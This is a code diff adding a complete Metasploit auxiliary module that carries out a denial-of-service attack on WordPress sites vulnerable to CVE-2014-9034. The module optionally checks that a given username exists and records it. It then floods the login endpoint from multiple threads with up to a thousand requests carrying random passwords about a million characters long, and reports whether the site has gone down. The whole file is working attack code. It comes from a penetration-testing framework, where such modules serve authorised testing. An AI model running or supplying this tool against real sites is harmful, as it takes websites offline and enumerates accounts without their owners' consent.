diff --git a/modules/auxiliary/dos/http/wordpress_long_password_dos.rb b/modules/auxiliary/dos/http/wordpress_long_password_dos.rb
new file mode 100644
index 0000000000..97866387fd
--- /dev/null
+++ b/modules/auxiliary/dos/http/wordpress_long_password_dos.rb
@@ -0,0 +1,145 @@
+##
+# This module requires Metasploit: http//www.metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+  include Msf::HTTP::Wordpress
+  include Msf::Auxiliary::Dos
+
+  def initialize(info = {})
+    super(update_info(
+      info,
+      'Name'            => 'WordPress Long Password DoS',
+      'Description'     => 'WordPress before 3.7.5, 3.8.x before 3.8.5, 3.9.x before 3.9.3, and 4.x before 4.0.1 allows remote attackers to cause a denial of service (CPU consumption) via a long password that is improperly handled during hashing.',
+      'License'         => MSF_LICENSE,
+      'Author'          =>
+        [
+          'Javier Nieto Arevalo',           # Vulnerability disclosure
+          'Andres Rojas Guerrero',          # Vulnerability disclosure
+          'Rob Carr <rob[at]rastating.com>' # Metasploit module
+        ],
+      'References'      =>
+        [
+          ['URL', 'http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9034'],
+          ['OSVDB', '114857'],
+          ['WPVDB', '7681']
+        ],
+      'DisclosureDate'  => 'Nov 20 2014'
+    ))
+
+    register_options(
+      [
+        OptInt.new('PLENGTH', [true, 'Length of password to use', 1000000]),
+        OptInt.new('RLIMIT', [true, 'The number of requests to send', 1000]),
+        OptInt.new('THREADS', [true, 'The number of concurrent threads', 5]),
+        OptString.new('USERNAME', [true, 'The username to send the requests with', '']),
+        OptBool.new('VALIDATE_USER', [true, 'Validate the specified username', true])
+      ], self.class)
+  end
+
+  def rlimit
+    datastore['RLIMIT']
+  end
+
+  def plength
+    datastore['PLENGTH']
+  end
+
+  def username
+    datastore['USERNAME']
+  end
+
+  def validate_user
+    datastore['VALIDATE_USER']
+  end
+
+  def thread_count
+    datastore['THREADS']
+  end
+
+  def wordpress_long_password_post_data(user, pass, redirect)
+    post_data = {
+      'log'         => user.to_s,
+      'pwd'         => pass.to_s,
+      'redirect_to' => redirect.to_s,
+      'reauth'      => 1,
+      'testcookie'  => '1',
+      'wp-submit'   => 'Login'
+    }
+
+    post_data
+  end
+
+  def wordpress_long_password_login(user, pass)
+    begin
+      redirect = "#{target_uri}wp-admin/"
+      res = send_request_cgi(
+        'method'      => 'POST',
+        'uri'         => wordpress_url_login,
+        'vars_post'   => wordpress_long_password_post_data(user, pass, redirect)
+      )
+
+      return res
+    rescue
+      return nil
+    end
+  end
+
+  def user_exists(user)
+    exists = wordpress_user_exists?(user)
+    if exists
+      print_good("#{peer} - Username \"#{username}\" is valid")
+      report_auth_info(
+        :host => rhost,
+        :sname => (ssl ? 'https' : 'http'),
+        :user => user,
+        :port => rport,
+        :proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}"
+      )
+
+      return true
+    else
+      print_error("#{peer} - \"#{user}\" is not a valid username")
+      return false
+    end
+  end
+
+  def run
+    if wordpress_and_online?
+      if validate_user
+        print_status("#{peer} - Checking if user \"#{username}\" exists...")
+        unless user_exists(username)
+          print_error('Aborting operation - a valid username must be specified')
+          return
+        end
+      end
+
+      starting_thread = 1
+      while starting_thread < rlimit do
+        ubound = [rlimit - (starting_thread - 1), thread_count].min
+        print_status("#{peer} - Executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}...")
+
+        threads = (1..ubound).map do |i|
+          Thread.new(i) do |i|
+            wordpress_long_password_login(username, Rex::Text.rand_text_alpha(plength))
+          end
+        end
+
+        threads.each(&:join)
+        print_good("#{peer} - Finished executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}")
+        starting_thread += ubound
+      end
+
+      if wordpress_and_online?
+        print_error("#{peer} - FAILED: #{target_uri} appears to still be online")
+      else
+        print_good("#{peer} - SUCCESS: #{target_uri} appears to be down")
+      end
+    else
+      print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress")
+    end
+  end
+end